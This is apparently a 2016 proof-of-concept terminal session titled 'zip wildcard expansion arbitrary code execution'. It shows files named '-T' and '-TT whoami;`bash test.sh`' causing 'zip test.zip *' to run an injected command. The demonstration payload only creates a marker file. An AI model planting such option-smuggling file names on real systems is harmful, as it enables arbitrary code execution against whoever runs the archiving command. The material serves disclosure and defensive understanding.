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February 11, 2016 19:57
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zip wildcard expansion arbitrary code execution
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| [pablo:/tmp/expansion] $ ls -la | |
| total 40916 | |
| drwxrwxr-x 2 pablo pablo 4096 feb 11 16:50 . | |
| drwxrwxrwt 10 root root 41885696 feb 11 16:50 .. | |
| -rw-rw-r-- 1 pablo pablo 0 feb 11 16:39 -T | |
| -rwxrwxrwx 1 pablo pablo 24 feb 11 16:50 test.sh | |
| -rw-rw-r-- 1 pablo pablo 0 feb 11 16:40 -TT whoami;`bash test.sh` | |
| [pablo:/tmp/expansion] $ cat test.sh | |
| touch test.sh-was-run | |
| [pablo:/tmp/expansion] $ zip test.zip * | |
| adding: test.sh (stored 0%) | |
| pablo | |
| sh: 1: ziRQINIr: not found | |
| test of test.zip FAILED | |
| zip error: Zip file invalid, could not spawn unzip, or wrong unzip (original files unmodified) | |
| *** Error in `zip': double free or corruption (!prev): 0x000000000180f7b0 *** | |
| [pablo:/tmp/expansion] 5 $ ls -la | |
| total 40920 | |
| drwxrwxr-x 2 pablo pablo 4096 feb 11 16:50 . | |
| drwxrwxrwt 10 root root 41885696 feb 11 16:50 .. | |
| -rw-rw-r-- 1 pablo pablo 0 feb 11 16:39 -T | |
| -rwxrwxrwx 1 pablo pablo 24 feb 11 16:50 test.sh | |
| -rw-rw-r-- 1 pablo pablo 0 feb 11 16:50 test.sh-was-run | |
| -rw-rw-r-- 1 pablo pablo 0 feb 11 16:40 -TT whoami;`bash test.sh` | |
| -rw------- 1 pablo pablo 188 feb 11 16:50 ziRQINIr | |
| [pablo:/tmp/expansion] $ |
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